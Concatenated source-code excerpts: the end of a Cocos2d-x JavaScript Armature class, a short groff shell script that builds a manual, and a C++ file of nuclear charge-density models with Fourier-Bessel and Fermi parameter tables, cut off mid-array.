},
/**
* version getter
* @returns {Number}
*/
getVersion: function () {
return this.version;
},
/**
* version setter
* @param {Number} version
*/
setVersion: function (version) {
this.version = version;
},
_createRenderCmd: function () {
if (cc._renderType === cc.game.RENDER_TYPE_CANVAS)
return new ccs.Armature.CanvasRenderCmd(this);
else
return new ccs.Armature.WebGLRenderCmd(this);
}
});
var _p = ccs.Armature.prototype;
/** @expose */
_p.parentBone;
cc.defineGetterSetter(_p, "parentBone", _p.getParentBone, _p.setParentBone);
/** @expose */
_p.body;
cc.defineGetterSetter(_p, "body", _p.getBody, _p.setBody);
/** @expose */
_p.colliderFilter;
cc.defineGetterSetter(_p, "colliderFilter", null, _p.setColliderFilter);
_p = null;
/**
* Allocates an armature, and use the ArmatureData named name in ArmatureDataManager to initializes the armature.
* @param {String} [name] Bone name
* @param {ccs.Bone} [parentBone] the parent bone
* @return {ccs.Armature}
* @deprecated since v3.1, please use new construction instead
*/
ccs.Armature.create = function (name, parentBone) {
return new ccs.Armature(name, parentBone);
};
| Java |
#!/bin/sh
groff -t -e -mandoc -Tlatin1 man/fucheck.1 > MANUAL
| Java |
#include "jednostki.h"
#include "generatormt.h"
#include "nucleus_data.h"
#include "calg5.h"
#include "util2.h"
using namespace std;
template < class T >
static inline T pow2 (T x)
{
return x * x;
}
static inline double bessj0(double x)
{
if(fabs(x)<0.000001)
return cos(x);
else
return sin(x)/x;
}
static double MI2(double rms2, double q,double r)
{
double qr=q*r;
double r2=r*r;
double cosqr=cos(qr);
double sinqr=sin(qr);
return (((((cosqr*qr/6-sinqr/2)*qr-cosqr)*qr+sinqr)*rms2/r2 + sinqr)/r - cosqr*q)/r2;
}
static double MI(double rms2, double q,double r)
{
double qr=q*r;
double r2=r*r;
double r3=r2*r;
double cosqr=cos(qr);
double sinqr=sin(qr);
return (-cosqr*qr+sinqr)/r3
// + (((cosqr*qr/6-sinqr/2)*qr -cosqr)*qr+sinqr)*rms2/r2/r3;
+(cosqr*qr*qr-2*cosqr-2*sinqr*qr)/r2/r2/6;
}
static double prfMI(double t[3], double r)
{
static double const twoPi2=2*Pi*Pi;
if(r==0)
r=0.00001;
double rms2=t[0]*t[0];
return max(0.0, (MI2(rms2,200,r)-MI2(rms2,0.01,r))/twoPi2);
}
///density profile for the HO model
static double prfHO(double t[3], double r)
{
double x=r/t[0],x2=x*x;
return t[2]*(1+t[1]*x2)*exp(-x2);
}
///density profile for the MHO model
static double prfMHO(double t[3], double r)
{
double x=r/t[0];
return (t[2]*(1+t[1]*x*x)*exp(-x*x));
}
///density profile for the 2pF model
static double prf2pF(double t[3], double r)
{
return t[2]/(1.+exp((r-t[0])/t[1]));
}
///density profile for the 3pF model
static double prf3pF(double t[4], double r)
{
double x=r/t[0];
return t[3]*
(1+t[2]*x*x)
/(1+exp((r-t[0])/t[1]));
}
///density profile for the 3pG model
static double prf3pG(double t[4], double r)
{
double x=r/t[0], x2=x*x;
return max(0.,t[3]*(1+t[2]*x2)/(1+exp((r*r-t[0]*t[0])/(t[1]*t[1]))));
}
///density profile for the FB model
static double prfFB(double fb[], double r)
{
if(r>fb[0]) // fb[0]- radius
return 0;
double suma=0;
double x=Pi*r/fb[0];
for(int j=1; j<=17 and fb[j] ; j++)
{
suma+=fb[j]*bessj0(j*x);
}
return max(0.,suma);
}
///density profile for the SOG model
static double prfSOG(double sog[],double r)
{
static const double twoPi32=2*Pi*sqrt(Pi);
//double rms=sog[0];
double g=sog[1]/sqrt(1.5);
double coef=twoPi32*g*g*g;
double suma=0;
for(int j=2; j<25 ; j+=2)
{
double Ri=sog[j];
double Qi=sog[j+1];
double Ai=Qi/(coef*(1+2*pow2(Ri/g)));
suma+=Ai*(exp(-pow2((r-Ri)/g))+exp(-pow2((r+Ri)/g)));
}
return max(0.,suma);
}
static double prfUG(double ug[],double r)
{
double xi=1.5/ug[0]/ug[0];
return ug[1]*exp( -r*r*xi);
}
// Uniform Gaussian model
static double ug_11_12 [2]= {2.946, 0.296785};
// Harmonic-oscillator model (HO): a, alfa, rho0(calculated)
static double ho_3_4 [3]= {1.772 , 0.327, 0.151583};
static double ho_4_5 [3]= {1.776 , 0.631, 0.148229};
static double ho_5_5 [3]= {1.718 , 0.837, 0.157023};
static double ho_5_6 [3]= {1.698 , 0.811, 0.182048};
static double ho_8_8 [3]= {1.83314, 1.544, 0.140667};
static double ho_8_9 [3]= {1.79818, 1.498, 0.161712};
static double ho_8_10[3]= {1.84114, 1.513, 0.158419};
// Modified harmonic-oscillator model (MHO): a, alfa, rho0(calculated)
static double mho_6_7[3]= {1.6359, 1.40316, 0.171761};
static double mho_6_8[3]= {1.734 , 1.3812 , 0.156987};
// show MI złe rms-y
static double mi_1_0[4]= {0.86212 , 0.36 , 1.18 ,1};
static double mi_1_1[4]= {2.1166 , 0.21 , 0.77 ,1};
static double mi_2_1[4]= {1.976 , 0.45 , 1.92 ,1};
static double mi_2_2[4]= {1.67114 , 0.51 , 2.01 ,1};
// Two-parameter Fermi model: c=a , z=alfa, rho0(calculated)
static double _2pF_9_10 [3]= {2.58 ,0.567 ,0.178781};
static double _2pF_10_10[3]= {2.740 ,0.572 ,0.162248};
static double _2pF_10_12[3]= {2.782 ,0.549 ,0.176167};
static double _2pF_12_12[3]= {2.98 ,0.55132,0.161818};
static double _2pF_12_14[3]= {3.05 ,0.523 ,0.16955 };
static double _2pF_13_14[3]= {2.84 ,0.569 ,0.201502};
static double _2pF_18_18[3]= {3.54 ,0.507 ,0.161114};
static double _2pF_18_22[3]= {3.53 ,0.542 ,0.176112};
static double _2pF_22_26[3]= {3.84315,0.5885 ,0.163935};
static double _2pF_23_28[3]= {3.94 ,0.505 ,0.17129 };
static double _2pF_24_26[3]= {3.941 ,0.5665 ,0.161978};
static double _2pF_24_28[3]= {4.01015,0.5785 ,0.159698};
static double _2pF_24_29[3]= {4.000 ,0.557 ,0.165941};
static double _2pF_25_30[3]= {3.8912 ,0.567 ,0.184036};
static double _2pF_26_28[3]= {4.074 ,0.536 ,0.162833};
static double _2pF_26_30[3]= {4.111 ,0.558 ,0.162816};
static double _2pF_26_32[3]= {4.027 ,0.576 ,0.176406};
static double _2pF_27_32[3]= {4.158 ,0.575 ,0.164824};
static double _2pF_29_34[3]= {4.218 ,0.596 ,0.167424};
static double _2pF_29_36[3]= {4.252 ,0.589 ,0.169715};
static double _2pF_30_34[3]= {4.285 ,0.584 ,0.164109};
static double _2pF_30_36[3]= {4.340 ,0.559 ,0.165627};
static double _2pF_30_38[3]= {4.393 ,0.544 ,0.166314};
static double _2pF_30_40[3]= {4.426 ,0.551 ,0.167171};
static double _2pF_32_38[3]= {4.442 ,0.5857 ,0.162741};
static double _2pF_32_40[3]= {4.452 ,0.5737 ,0.167365};
static double _2pF_38_50[3]= {4.83 ,0.49611,0.168863};
static double _2pF_39_50[3]= {4.76 ,0.57129,0.172486};
static double _2pF_41_52[3]= {4.875 ,0.57329,0.168620};
static double _2pF_79_118[3]={6.386 ,0.53527, 0.168879};
static double _2pF_Th232a[3]={6.7915 ,0.57115, 0.165272};
static double _2pF_Th232b[3]={6.851 ,0.518 , 0.163042};
static double _2pF_U238a[3]= {6.8054 ,0.60516, 0.167221};
static double _2pF_U238b[3]= {6.874 ,0.556 , 0.164318};
// Three-parameter Fermi model: c=a , z=alfa, w, rho0 (calculated)
static double _3pF_7_7[4]= {2.57000 ,0.5052 ,-0.18070 ,0.0127921 };
static double _3pF_7_8[4]= {2.33430 ,0.4985 , 0.13930 ,0.011046 };
static double _3pF_12_12a[4]={3.10833 ,0.6079 ,-0.16330 ,0.00707021};
static double _3pF_12_12b[4]={3.19234 ,0.6046 ,-0.24920 ,0.00742766};
static double _3pF_12_13[4]= {3.22500 ,0.5840 ,-0.23634 ,0.00714492};
static double _3pF_14_14[4]= {3.34090 ,0.5803 ,-0.23390 ,0.00646414};
static double _3pF_14_15[4]= {3.33812 ,0.5472 ,-0.20312 ,0.00631729};
static double _3pF_14_16[4]= {3.25221 ,0.5532 ,-0.07822 ,0.00585623};
static double _3pF_15_16[4]= {3.36925 ,0.5826 ,-0.17324 ,0.00584405};
static double _3pF_17_18[4]= {3.47632 ,0.5995 ,-0.102 ,0.00489787};
static double _3pF_17_20[4]= {3.55427 ,0.5885 ,-0.132 ,0.0048052 };
static double _3pF_19_20[4]= {3.74325 ,0.5856 ,-0.2012 ,0.00451813};
static double _3pF_20_20[4]= {3.76623 ,0.5865 ,-0.16123 ,0.00424562};
static double _3pF_20_28[4]= {3.7369 ,0.5245 ,-0.030 ,0.00393303};
static double _3pF_28_30[4]= {4.3092 ,0.5169 ,-0.1308 ,0.00291728};
static double _3pF_28_32[4]= {4.4891 ,0.5369 ,-0.2668 ,0.00293736};
static double _3pF_28_33[4]= {4.4024 ,0.5401 ,-0.1983 ,0.00290083};
static double _3pF_28_34[4]= {4.4425 ,0.5386 ,-0.2090 ,0.0028575 };
static double _3pF_28_36[4]= {4.5211 ,0.5278 ,-0.2284 ,0.00277699};
// Three-parameter Gaussian model: c=a, z=alfa, w , rho0 (calculated)
static double _3pG_16_16[4]= {2.549 ,2.1911 ,0.16112 ,0.00700992};
static double _3pG_40_50[4]= {4.434 ,2.5283 ,0.35025 ,0.00184643};
static double _3pG_40_51[4]= {4.32520 ,2.5813 ,0.43325 ,0.00181638};
static double _3pG_40_52[4]= {4.45520 ,2.5503 ,0.33425 ,0.00183439};
static double _3pG_40_54[4]= {4.49420 ,2.5853 ,0.29625 ,0.00182715};
static double _3pG_40_56[4]= {4.50320 ,2.6023 ,0.34125 ,0.00175563};
static double _3pG_42_50[4]= {4.6110 ,2.527 ,0.1911 ,0.0018786 };
//H3(1,2)Be84
static double fb_1_2[18]={3.5, 0.25182e-1, 0.34215e-1, 0.15257e-1,0,0,
0,0,0,0,0,
0,0,0,0,0,
0,0};
//He3(2,1)Re84bs
static double fb_2_1[18]={5, 0.20020e-1, 0.41934e-1, 0.36254e-1, 0.17941e-1, 0.46608e-2,
0.46834e-2, 0.52042e-2, 0.38280e-2, 0.25661e-2, 0.14182e-2,
0.61390e-3, 0.22929e-3};
//C12(6,6)Ca80
static double fb_6_6a[18]={8.0, 0.15721e-1, 0.38732e-1, 0.36808e-1, 0.14671e-1,-0.43277e-2,
-0.97752e-2,-0.68908e-2,-0.27631e-2,-0.63568e-3, 0.71809e-5,
0.18441e-3, 0.75066e-4, 0.51069e-4, 0.14308e-4, 0.23170e-5,
0.68465e-6, 0};
//C12(6,6)Re82
static double fb_6_6b[18]={8.0, 0.15737e-1, 0.38897e-1, 0.37085e-1, 0.14795e-1,-0.44831e-2,
-0.10057e-1,-0.68696e-2,-0.28813e-2,-0.77229e-3, 0.66908e-4,
0.10636e-3,-0.36864e-4,-0.50135e-5, 0.94550e-5,-0.47687e-5,
0, 0};
//N15(7,8)Vr86
static double fb_7_8[18]={7.0, 0.25491e-1, 0.50618e-1, 0.29822e-1, -0.55196e-2, -0.15913e-1,
-0.76184e-2,-0.23992e-2,-0.47940e-3, 0, 0,
0, 0, 0, 0, 0,
0, 0};
//O16(8,8)La82
static double fb_8_8[18]= {8.0, 0.20238e-1, 0.44793e-1, 0.33533e-1, 0.35030e-2,-0.12293e-1,
-0.10329e-1,-0.34036e-2,-0.41627e-3,-0.94435e-3,-0.25771e-3,
0.23759e-3,-0.10603e-3, 0.41480e-4, 0,0,
0, 0};
//Al27(13,14)Ro86
static double fb_13_14[18]={7.0, 0.43418e-1, 0.60298e-1, 0.28950e-2,-0.23522e-1,-0.79791e-2,
0.23010e-2, 0.10794e-2, 0.12574e-3,-0.13021e-3, 0.56563e-4,
-0.18011e-4, 0.42869e-5, 0, 0, 0,
0,0};
//Si28(14,14)Mi82
static double fb_14_14[18]={8.0, 0.33495e-1, 0.59533e-1, 0.20979e-1,-0.16900e-1,-0.14998e-1,
-0.93248e-3, 0.33266e-2, 0.59244e-3,-0.40013e-3, 0.12242e-3,
-0.12994e-4,-0.92784e-5, 0.72595e-5,-0.42096e-5, 0,
0, 0};
//Si29(14,15)Mi82
static double fb_14_15[18]={8.0, 0.33521e-1, 0.59679e-1, 0.20593e-1,-0.18646e-1,-0.1655e-1,
-0.11922e-2, 0.28025e-2,-0.67353e-4,-0.34619e-3, 0.17611e-3,
-0.57173e-5, 0.12371e-4, 0, 0, 0,
0, 0};
//Si30(14,16)Mi82
static double fb_14_16[18]={8.5, 0.28397e-1, 0.54163e-1, 0.25167e-1,-0.12858e-1,-0.17592e-1,
-0.46722e-2, 0.24804e-2, 0.14760e-2,-0.30168e-3, 0.48346e-4,
0.00000e0, -0.51570e-5, 0.30261e-5, 0, 0,
0, 0};
//P31(15,16)Mi82
static double fb_15_16[18]={8.0, 0.35305e-1, 0.59642e-1, 0.17274e-1,-0.19303e-1,-0.13545e-1,
0.63209e-3, 0.35462e-2, 0.83653e-3,-0.47904e-3, 0.19099e-3,
-0.69611e-4, 0.23196e-4, -0.77780e-5,0,0,
0,0};
//S32(16,16)Ry83b
static double fb_16_16[18]={8.0, 0.37251e-1, 0.60248e-1, 0.14748e-1,-0.18352e-1,-0.10347e-1,
0.30461e-2, 0.35277e-2,-0.39834e-4,-0.97177e-4, 0.92279e-4,
-0.51931e-4, 0.22958e-4,-0.86609e-5, 0.28879e-5,-0.86632e-6,
0, 0};
//S34(16,18)Ry83b
static double fb_16_18[18]={8,0.37036e-1, 0.58506e-1, 0.12082e-1,-0.19022e-1,-0.83421e-2,
0.45434e-2, 0.28346e-2,-0.52304e-3, 0.27754e-4, 0.59403e-4,
-0.42794e-4, 0.20407e-4,-0.79934e-5, 0.27354e-5,-0.83914e-6,
0, 0};
//S36(16,29)Ry83b
static double fb_16_20[18]={8,0.37032e-1, 0.57939e-1, 0.10049e-1,-0.19852e-1,-0.67176e-2,
0.61882e-2, 0.37795e-2,-0.55272e-3,-0.12904e-3, 0.15845e-3,
-0.84063e-4, 0.34010e-4,-0.11663e-4, 0.35204e-5, 0.95135e-6,
0, 0};
//Ar40(18,22)Ot82
static double fb_18_22[18]={9.0, 0.30451e-1, 0.55337e-1, 0.20203e-1,-0.16765e-1,-0.13578e-1,
-0.43204e-4, 0.91988e-3,-0.41205e-3, 0.11971e-3,-0.19801e-4,
-0.43204e-5, 0.61205e-5,-0.37803e-5, 0.18001e-5,-0.77407e-6,
0, 0};
//Ca40(20,20)Em83b
static double fb_20_20[18]={8.0, 0.44846e-1, 0.61326e-1,-0.16818e-2,-0.26217e-1,-0.29725e-2,
0.85534e-2, 0.35322e-2,-0.48258e-3,-0.39346e-3, 0.20338e-3,
0.25461e-4,-0.17794e-4, 0.67394e-5,-0.21033e-5, 0,
0,0};
//Ca48(20,24)Em83b
static double fb_20_24[18]={8.0, 0.44782e-1, 0.59523e-1,-0.74148e-2,-0.29466e-1,-0.28350e-3,
0.10829e-1, 0.30465e-2,-0.10237e-2,-0.17830e-3, 0.55391e-4,
-0.22644e-4, 0.82671e-5,-0.27343e-5, 0.82461e-6,-0.22780e-6,
0,0};
//Ti48(22,26)Se85
static double fb_22_26[18]={10.0, 0.27850e-1, 0.55432e-1, 0.26369e-1,-0.17091e-1,-0.21798e-1,
-0.24889e-2, 0.76631e-2, 0.34554e-2,-0.67477e-3, 0.10764e-3,
-0.16564e-5,-0.55566e-5, 0, 0, 0,
0, 0};
//Ti48(22,28)Se85
static double fb_22_28[18]={9.5, 0.31818e-1, 0.58556e-1, 0.19637e-1,-0.24309e-1,-0.18748e-1,
0.33741e-2, 0.89961e-2, 0.37954e-2,-0.41238e-3, 0.12540e-3,
0, 0, 0, 0, 0,
0, 0};
//Cr50(24,26)Li83c
static double fb_24_26[18]={9.0, 0.39174e-1, 0.61822e-1, 0.68550e-2,-0.30170e-1,-0.98745e-2,
0.87944e-2, 0.68502e-2,-0.93609e-3,-0.24962e-2,-0.15361e-2,
-0.73687e-3, 0,0,0,0,
0,0};
//Cr52(24,28)Li83c
static double fb_24_28[18]={9.0, 0.39287e-1, 0.62477e-1, 0.62482e-2,-0.32885e-1,-0.10648e-1,
0.10520e-1, 0.85478e-2,-0.24003e-3,-0.20499e-2,-0.12001e-2,
-0.56649e-3, 0 ,0 ,0,0,
0,0};
//Cr54(24,30)Li83c
static double fb_24_30[18]={9.0, 0.39002e-1, 0.60305e-1, 0.45845e-2,-0.30723e-1,-0.91355e-2,
0.93251e-2, 0.60583e-2,-0.15602e-2,-0.76809e-3, 0.76809e-3,
-0.34804e-3, 0, 0, 0, 0,
0, 0};
//Fe54(26,28)Wo76
static double fb_26_28[18]={9.0, 0.42339e-1, 0.64428e-1, 0.15840e-2,-0.35171e-1,-0.10116e-1,
0.12069e-1, 0.62230e-2,-0.12045e-2, 0.13561e-3, 0.10428e-4,
-0.16980e-4, 0.91817e-5,-0.39988e-5, 0.15731e-5,-0.57862e-6,
0.20186e-6,-0.67892e-7};
//Fe56(26,30)Wo76
static double fb_26_30[18]={9.0, 0.42018e-1, 0.62337e-1, 0.23995e-3,-0.32776e-1,-0.79941e-2,
0.10844e-1, 0.49123e-2,-0.22144e-2,-0.18146e-3, 0.37261e-3,
-0.23296e-3, 0.11494e-3,-0.50596e-4, 0.20652e-4,-0.79428e-5,
0.28986e-5,-0.10075e-5};
//Fe58(26,32)Wo76
static double fb_26_32[18]={9.0, 0.41791e-1, 0.60524e-1,-0.14978e-2,-0.31183e-1,-0.58013e-2,
0.10611e-1, 0.41629e-2,-0.29045e-5, 0.54106e-3,-0.38689e-3,
0.20514e-3,-0.95237e-4, 0.40707e-4,-0.16346e-1, 0.62233e-5,
-0.22568e-5, 0.78077e-6};
//Co59(27,32)Sc77
static double fb_27_32[18]={9.0, 0.43133e-1, 0.61249e-1,-0.32523e-2,-0.32681e-1,-0.49583e-2,
0.11494e-1, 0.55428e-2, 0.31398e-3,-0.70578e-4, 0.53725e-5,
-0.74650e-6, 0.19793e-5,-0.28059e-5, 0.27183e-5,-0.19454e-5,
0.10963e-5,-0.51114e-6};
//Ni58(28,30)Be83
static double fb_28_30a[18]={9.0, 0.44880e-1, 0.64756e-1,-0.27899e-2,-0.37016e-1,-0.71915e-2,
0.13594e-1, 0.66331e-2,-0.14095e-2,-0.10141e-2, 0.38616e-3,
-0.13871e-3, 0.47788e-4,-0.15295e-4, 0.59131e-5,-0.67880e-5,
0,0};
//Ni58(28,30)Wo76
static double fb_28_30b[18]={9.0, 0.45030e-1, 0.65044e-1,-0.32843e-2,-0.36241e-1,-0.67442e-2,
0.13146e-1, 0.50903e-2,-0.20787e-2, 0.12901e-3, 0.14828e-3,
-0.11530e-3, 0.60881e-4,-0.27676e-4, 0.11506e-4, 0.44764e-5,
0.16468e-5,-0.57496e-6};
//Ni60(28,32)Be83
static double fb_28_32a[18]={9.0, 0.44668e-1, 0.63072e-1,-0.42797e-2,-0.34806e-1,-0.48625e-2,
0.12794e-1, 0.54401e-2,-0.14075e-2,-0.76976e-3, 0.33487e-3,
-0.13141e-3, 0.52132e-4,-0.20394e-4, 0.59131e-5,-0.67880e-5,
0,0};
//Ni60(28,32)Wo76
static double fb_28_32b[18]={9.0, 0.44855e-1, 0.63476e-1,-0.51001e-2,-0.34496e-1,-0.43132e-2,
0.12767e-1, 0.49935e-2,-0.92940e-3, 0.28281e-3,-0.76557e-4,
0.18677e-4, 0.36855e-5,-0.32276e-6, 0.19843e-6, 0.16275e-6,
-0.82891e-7,-0.34896e-7};
//Ni60(28,32)Wo80
static double fb_28_32c[18]={9.0, 0.44142e-1, 0.62987e-1,-0.49864e-2,-0.34306e-1,-0.44060e-2,
0.12810e-1, 0.46914e-2,-0.84373e-3, 0.36928e-3,-0.15003e-3,
0.59665e-4,-0.23215e-4, 0.88005e-5,-0.32305e-5, 0.11496e-5,
-0.39658e-6, 0.13145e-6};
//Ni62(28,34)Wo76
static double fb_28_34[18]={9.0, 0.44581e-1, 0.61478e-1,-0.69425e-2,-0.33126e-1,-0.24964e-2,
0.12674e-1, 0.37148e-2,-0.20881e-2, 0.30193e-3, 0.57573e-4,
-0.77965e-4, 0.46906e-4,-0.22724e-4, 0.98243e-5,-0.39250e-5,
0.14732e-5, 0.52344e-6};
//Ni64(28,36)Wo76
static double fb_28_36[18]={9.0, 0.44429e-1, 0.60116e-1,-0.92003e-2,-0.33452e-1,-0.52856e-3,
0.13156e-1, 0.35152e-2,-0.21671e-2, 0.46497e-4, 0.25366e-3,
-0.18438e-2, 0.96874e-4,-0.44224e-4, 0.18493e-4,-0.72361e-5,
-0.72361e-5,-0.93929e-6};
//Cu63(29,34)Sc77
static double fb_29_34[18]={9.0, 0.45598e-1, 0.60706e-1,-0.78616e-2,-0.31638e-1,-0.14447e-2,
0.10953e-1, 0.42578e-2,-0.24224e-3,-0.30067e-3, 0.23903e-3,
-0.12910e-3, 0.60195e-4,-0.25755e-4, 0.10332e-4,-0.39330e-5,
0.14254e-5,-0.49221e-6};
//Cu65(29,36)Sc77
static double fb_29_36[18]={9.0, 0.45444e-1, 0.59544e-1,-0.94968e-2,-0.31561e-1, 0.22898e-3,
0.11189e-1, 0.37360e-2,-0.64873e-3,-0.51133e-3, 0.43765e-3,
-0.24276e-3, 0.11507e-3, 0.11507e-3, 0.20140e-4,-0.76945e-5,
0.28055e-5,-0.97411e-6};
//Zn64(30,34)Wo76
static double fb_30_34[18]={9.0, 0.47038e-1, 0.61536e-1, 0.90045e-2,-0.30669e-1,-0.78705e-3,
0.10034e-1, 0.14053e-2,-0.20640e-2, 0.35105e-3, 0.27303e-4,
-0.63811e-4, 0.40893e-4,-0.20311e-4, 0.88986e-5,-0.35849e-5,
0.13522e-5,-0.38635e-6};
//Zn66(30,36)Wo76
static double fb_30_36[18]={9.0, 0.46991e-1, 0.60995e-1,-0.96693e-2,-0.30457e-1,-0.53435e-3,
0.97083e-2, 0.14091e-2,-0.70813e-3, 0.20809e-3,-0.48275e-4,
0.12680e-5, 0.91369e-6,-0.14874e-5, 0.88831e-6,-0.41689e-6,
0.17283e-6,-0.65968e-7};
//Zn68(30,38)Wo76
static double fb_30_38[18]={9.0, 0.46654e-1, 0.58827e-1,-0.12283e-1,-0.29865e-1, 0.25669e-2,
0.10235e-1, 0.31861e-2,-0.17351e-3,-0.42979e-3, 0.33700e-3,
-0.18435e-3, 0.87043e-4,-0.37612e-4, 0.15220e-4,-0.58282e-5,
0.21230e-5,-0.73709e-6};
//Zn70(30,40)Wo76
static double fb_30_40[18]={9.0, 0.46363e-1, 0.57130e-1,-0.13877e-1,-0.30030e-1, 0.35341e-2,
0.10113e-1, 0.41029e-2, 0.76469e-3,-0.10138e-2, 0.60837e-3,
-0.29929e-3, 0.13329e-3,-0.55502e-4, 0.21893e-4,-0.82286e-5,
0.29559e-5,-0.10148e-5};
//Ge70(32,38)Ma84
static double fb_32_38[18]={10.0, 0.38182e-1, 0.60306e-1, 0.64346e-2,-0.29427e-1,-0.95888e-2,
0.87849e-2, 0.49187e-2,-0.15189e-2,-0.17385e-2,-0.16794e-3,
-0.11746e-3, 0.65768e-4,-0.30691e-4, 0.13051e-5,-0.52251e-5,
0,0};
//Ge72(32,40)Ma84
static double fb_32_40[18]={10.0, 0.38083e-1, 0.59342e-1, 0.47718e-2,-0.29953e-1,-0.88476e-2,
0.96205e-2, 0.47901e-2,-0.16869e-2,-0.15406e-2,-0.97230e-4,
-0.47640e-4,-0.15669e-5, 0.67076e-5,-0.44500e-5, 0.22158e-5,
0,0};
//Ge74(32,42)Ma84
static double fb_32_42[18]={10, 0.37989e-1, 0.58298e-1, 0.27406e-2,-0.30666e-1,-0.81505e-2,
0.10231e-1, 0.49382e-2,-0.16270e-2,-0.13937e-2, 0.15476e-3,
0.14396e-3,-0.73075e-4, 0.31998e-4,-0.12822e-4, 0.48406e-5,
0, 0};
//Ge76(32,44)Ma84
static double fb_32_44[18]={10, 0.37951e-1, 0.57876e-1, 0.15303e-2,-0.31822e-1,-0.76875e-2,
0.11237e-1, 0.50780e-2,-0.17293e-2,-0.15523e-2, 0.72439e-4,
0.16560e-3,-0.86631e-4, 0.39159e-4,-0.16259e-4, 0.63681e-5,
0, 0};
//Sr88(38,40)St76
static double fb_38_40[18]={9.0, 0.56435e-1, 0.55072e-1,-0.33363e-1,-0.26061e-1, 0.15749e-1,
0.75233e-2,-0.55044e-2,-0.23643e-2, 0.39362e-3,-0.22733e-3,
0.12519e-3,-0.61176e-4, 0.27243e-4,-0.11285e-4, 0.43997e-5,
-0.16248e-5, 0.57053e-6};
//Zr90(40,50)Ro76
static double fb_40_50[18]={10.0, 0.46188e-1, 0.61795e-1,-0.12315e-1,-0.36915e-1, 0.25175e-2,
0.15234e-1,-0.55146e-3,-0.60631e-2,-0.12198e-2, 0.36200e-3,
-0.16466e-3, 0.53305e-4,-0.50873e-5,-0.85658e-5, 0.86095e-5,
0,0};
//Zr92(40,52)Ro76
static double fb_40_52[18]={10.0, 0.45939e-1, 0.60104e-1,-0.13341e-1,-0.35106e-1, 0.31760e-2,
0.13753e-1,-0.82682e-3,-0.53001e-2,-0.97579e-3, 0.26489e-3,
-0.15873e-3, 0.69301e-4,-0.22278e-4, 0.39533e-5, 0.10609e-5,
0,0};
//Zr94(40,54)Ro76
static double fb_40_54[18]={10.0, 0.45798e-1 ,0.59245e-1,-0.13389e-1,-0.33252e-1, 0.39888e-2,
0.12750e-1,-0.15793e-2,-0.56692e-2,-0.15698e-2, 0.54394e-4,
-0.24032e-4, 0.38401e-4,-0.31690e-4, 0.18481e-4,-0.85367e-5,
0,0};
//Mo92(42,50)La86
static double fb_42_50[18]={12.0, 0.30782e-1, 0.59896e-1, 0.22016e-1,-0.28945e-1,-0.26707e-1,
0.40426e-2, 0.14429e-1, 0.31696e-2,-0.63061e-2,-0.45119e-2,
0.46236e-3, 0.94909e-3,-0.38930e-3,-0.14808e-3, 0.19622e-3,
-0.40197e-4,-0.71949e-4};
//Mo94(42,52)La86
static double fb_42_52[18]={12, 0.30661e-1, 0.58828e-1, 0.20396e-1,-0.28830e-1,-0.25077e-1,
0.44768e-2, 0.13127e-1, 0.19548e-2,-0.61403e-2,-0.35825e-2,
0.73790e-3, 0.61882e-3,-0.40556e-3,-0.55748e-5,-0.12453e-3,
-0.57812e-4,-0.21657e-4};
//Mo96(42,54)La86
static double fb_42_54[18]={12, 0.30564e-1, 0.58013e-1, 0.19255e-1,-0.28372e-1,-0.23304e-1,
0.49894e-2, 0.12126e-1, 0.10496e-2,-0.62592e-2,-0.32814e-2,
0.89668e-3, 0.50636e-3,-0.43412e-3, 0.71531e-4, 0.76745e-4,
-0.54316e-4, 0.23386e-6};
//Mo98(42,56)Dr75
static double fb_42_56[18]={12, 0.30483e-1, 0.57207e-1, 0.17888e-1,-0.28388e-1,-0.21778e-1,
0.56780e-2, 0.11236e-1, 0.82176e-3,-0.50390e-2,-0.23877e-2,
0.71492e-3, 0.29839e-3,-0.31408e-3, 0.80177e-3, 0.43682e-4,
-0.51394e-4, 0.22293e-4};
//Mo100(42,58)Dr75
static double fb_42_58[18]={12, 0.30353e-1, 0.56087e-1, 0.16057e-1,-0.28767e-1,-0.20683e-1,
0.62429e-2, 0.11058e-1, 0.11502e-2,-0.39395e-2,-0.14978e-2,
0.76350e-3, 0.10554e-3,-0.25658e-3, 0.10964e-3, 0.10015e-4,
-0.40341e-4, 0.25744e-4};
//Pd104(46,58)La86
static double fb_46_58[18]={11, 0.41210e-1, 0.62846e-1,-0.21202e-2,-0.38359e-1,-0.44693e-2,
0.16656e-1, 0.36873e-2,-0.57534e-2,-0.32499e-2, 0.69844e-3,
0.16304e-2, 0.59882e-3, 0, 0, 0,
0, 0};
//Pd106(46,60)La86
static double fb_46_60[18]={11, 0.41056e-1, 0.61757e-1,-0.29891e-2,-0.37356e-1,-0.35348e-2,
0.16085e-1, 0.28502e-2,-0.55764e-2,-0.15433e-2, 0.22281e-2,
0.13160e-2, 0.16508e-4, 0, 0, 0,
0,0};
//Pd108(46,62)La86
static double fb_46_62[18]={11, 0.40754e-1, 0.59460e-1,-0.54077e-2,-0.36305e-1,-0.21987e-2,
0.15418e-1, 0.25927e-2,-0.52781e-2,-0.19757e-2, 0.10339e-2,
0.22891e-3,-0.33464e-3,0, 0, 0,
0, 0};
//Pd110(46,64)La86
static double fb_46_64[18]={11.0,0.40668e-1, 0.58793e-1,-0.61375e-2,-0.35983e-1,-0.17447e-2,
0.14998e-1, 0.19994e-2,-0.53170e-2,-0.14289e-2, 0.16033e-2,
0.31574e-3,-0.42195e-3,0,0,0,
0,0};
//Sm144(62,82)Mo81
static double fb_62_82[18]={9.25,0.74734e-1, 0.26145e-1,-0.63832e-1, 0.10432e-1, 0.19183e-1,
-0.12572e-1,-0.39707e-2,-0.18703e-2, 0.12602e-2,-0.11902e-2,
-0.15703e-2,0,0,0,0,
0,0};
//Sm148(62,86)Ho80
static double fb_62_86a[18]={9.5, 0.70491e-1, 0.32601e-1,-0.55421e-1, 0.50111e-2, 0.20216e-1,
-0.85944e-2,-0.40106e-2, 0.19303e-2,-0.49689e-3,-0.17040e-3,
0,0,0,0,0,
0,0};
//Sm148(62,86)Mo81
static double fb_62_86b[18]={9.25,0.73859e-1, 0.24023e-1,-0.59437e-1, 0.10761e-1, 0.17022e-1,
-0.11401e-1,-0.18102e-2, 0.93011e-3, 0.98012e-3,-0.12601e-2,
-0.17402e-2,0,0,0,0,
0,0};
//Sm150(62,88)Mo81
static double fb_62_88[18]={9.25,0.73338e-1, 0.24626e-1,-0.52773e-1, 0.10582e-1, 0.15353e-1,
-0.95624e-2,-0.18804e-2,-0.79019e-3, 0.10102e-2,-0.26606e-2,
-0.18304e-2,0,0,0,0,
0,0};
//Sm152(62,90)Ho80
static double fb_62_90a[18]={10.5,0.56097e-1, 0.45123e-1,-0.40310e-1,-0.18171e-1, 0.20515e-1,
